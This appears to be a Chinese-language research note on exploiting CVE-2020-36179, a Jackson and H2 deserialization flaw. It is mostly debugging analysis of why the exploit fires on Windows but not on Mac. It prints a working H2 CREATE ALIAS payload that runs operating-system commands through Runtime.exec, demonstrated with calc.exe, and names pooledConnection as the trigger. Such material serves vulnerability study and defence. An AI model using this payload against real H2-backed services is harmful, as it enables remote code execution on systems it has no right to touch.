https://github.com/Al1ex/CVE-2020-36179
CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A"); return s.hasNext() ? s.next() : ""; } $$; CALL SHELLEXEC('calc.exe')
java SQL database
可作为java的内嵌式数据库
支持r2dbc spi,类似jdbc的规范
三种运行方式:
内存模式(只适合测试环境)
在利用的时候,DBName可为空
jdbc:h2:mem:DBName;DB_CLOSE_DELAY=-1
嵌入模式(持久化为文件)
jdbc:h2:file:~/.h2/DBName;AUTO_SERVER=TRUE
服务模式
jdbc:h2:tcp://localhost/~/test 使用用户主目录 jdbc:h2:tcp://localhost//data/test 使用绝对路径
SQL语法
RUNSCRIPT FROM:运行sql脚本
SCRIPT:根据数据库创建sql脚本
h2自定义函数
CREATE ALIAS 大写函数名 AS $$
import ***;
String 函数名(type args) throw ***{javacode}
$$;
CALL 大写函数名(args)
最基本的回显命令
java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A"); return s.hasNext() ? s.next() : "";
MAC出现以下错误信息
windows偶尔运行成功,偶尔运行失败
windows与manc的java版本都为1.8.0_221,所以排除情况1。
windows与manc的idea经对比后,基本一致,所以排除情况3。
进行调试,验证情况2。
对mac和windows进行同步调试
windows调用链如下
mac调用链如下
小结
运行成功时
从NativeMethodAccessorImpl类的invoke0方法跳到DriverAdapterCPDS类的getDescription方法
运行失败时
从NativeMethodAccessorImpl类的invoke0方法跳到DriverAdapterCPDS类的getParentLogger方法
NativeMethodAccessorImpl类属于jdk类
初步调试中,发现windows和mac最后几步跳转不同。
为了找出具体原因,进行深度对比调试。
发现
BeanSerializerBase类中的serializeFields方法
对props数组进行配置定义,以下为关键代码
props数组包含h2连接的一些参数,如url、description等,利用prop.serializeAsField(bean, gen, provider方法对props数组中的各个参数进行配置
我们可以从报错信息中发现,parentLogger变量在进行配置时会报错,具体原因不赘述
其中,windows系统中parentLogger位置相对靠后,但顺序不定
其中,mac系统中parentLogger位置固定于14
因此我们可知,parentLogger参数位置是造成windows和mac系统错误与否的原因
在mac中,parentLogger参数在前,配置时报错,而后程序中止
同时,我们可推测14后面的四个参数可能是执行连接操作,也就是真正触发漏洞的参数
在windows系统中,调试,将i设置为pooledConnection对应的位置
发现,计算机打开,漏洞触发,因此pooledConnection就是h2连接数据库的漏洞触发参数
结论